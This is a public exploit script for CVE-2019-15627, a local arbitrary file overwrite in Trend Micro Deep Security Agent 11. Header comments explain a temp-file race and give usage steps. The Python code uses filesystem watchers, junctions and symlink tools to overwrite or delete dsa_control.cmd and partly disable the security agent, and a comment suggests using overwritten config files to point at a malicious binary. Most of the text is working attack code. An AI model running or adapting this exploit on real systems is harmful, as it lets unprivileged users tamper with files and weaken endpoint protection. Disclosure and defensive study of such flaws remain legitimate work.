# Exploit Title: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite
# Exploit Author : Peter Lapp
# Exploit Date: 2019-12-05
# Vendor Homepage : https://www.trendmicro.com/en_us/business.html
# Link Software : https://help.deepsecurity.trendmicro.com/software.html?regs=NABU&prodid=1716
# Tested on OS: v11.0.582 and v10.0.3186 on Windows Server 2012 R2, 2008R2, and 7 Enterprise.
# CVE: 2019-15627
# CVE-2019-15627 - Trend Micro Deep Security Agent Local File Overwrite Exploit by Peter Lapp (lappsec)
# This script uses the symboliclink-testing-tools project, written by James Forshaw ( https://github.com/googleprojectzero/symboliclink-testing-tools )
# The vulnerability allows an unprivileged local attacker to delete any file on the filesystem, or overwrite it with abritrary data hosted elsewhere (with limitations)
# This particular script will attempt to overwrite the file dsa_control.cmd with arbitrary data hosted on an external web server, partly disabling TMDS,
# even when agent self-protection is turned on. It can also be modified/simplified to simply delete the target file, if desired.
# When TMDS examines javascript it writes snippets of it to a temporary file, which is locked and then deleted almost immediately.
# The names of the temp files are sometimes reused, which allows us to predict the filename and redirect to another file.
# While examining the JS, it generally strips off the first 4096 bytes or so, replaces those with spaces, converts the rest to lowercase and writes it to the temp file.
# So the attacker can host a "malicious" page that starts with the normal html and script tags, then fill the rest of the ~4096 bytes with garbage,
# then the payload to be written, then a few hundred trailing spaces (not sure why, but they are needed). The resulting temp file will start with 4096 spaces,
# and then the lowercase payload. Obviously this has some limitations, like not being able to write binaries, but there are plenty of config files that
# are ripe for the writing that can then point to a malicious binary.
# Usage:
# 1. First you'd need to host your malicious file somewhere. If you just want to delete the target file or overwrite it with garbage, skip this part.
# 2. Open a browser (preferrably IE) and start the script
# 3. Browse to your malicious page (if just deleting the target file, browse to any page with javascript).
# 4. Keep refreshing the page until you see the script create the target file overwritten.
#
# It's a pretty dumb/simple script and won't work every time, so if it doesn't work just run it again. Or write a more reliable exploit.
import time
import os
import subprocess
import sys
import webbrowser
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
class Stage1_Handler(FileSystemEventHandler):
def __init__(self):
self.filenames = []
def on_created(self, event):
filename = os.path.basename(event.src_path)
if filename in self.filenames:
print ('Starting symlink creation.')
watcher1.stop()
symlinkery(self.filenames)
else:
self.filenames.append(filename)
print ('File %s created.') % filename
class Stage2_Handler(FileSystemEventHandler):
def on_any_event(self, event):
if os.path.basename(event.src_path) == 'dsa_control.cmd':
print "Target file overwritten/deleted. Cleaning up."
subprocess.Popen("taskkill /F /T /IM CreateSymlink.exe", shell=True)
subprocess.Popen("taskkill /F /T /IM Baitandswitch.exe", shell=True)
os.system('rmdir /S /Q "C:\\ProgramData\\Trend Micro\\AMSP\\temp\\"')
os.system('rmdir /S /Q "C:\\test"')
os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig','C:\\ProgramData\\Trend Micro\\AMSP\\temp')
watcher2.stop()
sys.exit(0)
class Watcher(object):
def __init__(self, event_handler, path_to_watch):
self.event_handler = event_handler
self.path_to_watch = path_to_watch
self.observer = Observer()
def run(self):
self.observer.schedule(self.event_handler(), self.path_to_watch)
self.observer.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
self.observer.stop()
self.observer.join()
def stop(self):
self.observer.stop()
def symlinkery(filenames):
print "Enter symlinkery"
for filename in filenames:
print "Creating symlink for %s" % filename
cmdname = "start cmd /c CreateSymlink.exe \"C:\\test\\virus\\%s\" \"C:\\test\\test\\symtarget\"" % filename
subprocess.Popen(cmdname, shell=True)
os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp','C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig')
os.system('mklink /J "C:\\ProgramData\\Trend Micro\\AMSP\\temp" C:\\test')
watcher2.run()
print "Watcher 2 started"
try:
os.mkdir('C:\\test')
except:
pass
path1 = 'C:\\ProgramData\\Trend Micro\\AMSP\\temp\\virus'
path2 = 'C:\\Program Files\\Trend Micro\\Deep Security Agent\\'
watcher1 = Watcher(Stage1_Handler,path1)
watcher2 = Watcher(Stage2_Handler,path2)
switcheroo = "start cmd /c BaitAndSwitch.exe C:\\test\\test\\symtarget \"C:\\Program Files\\Trend Micro\\Deep Security Agent\\dsa_control.cmd\" \"C:\\windows\\temp\\deleteme.txt\" d"
subprocess.Popen(switcheroo, shell=True)
watcher1.run()
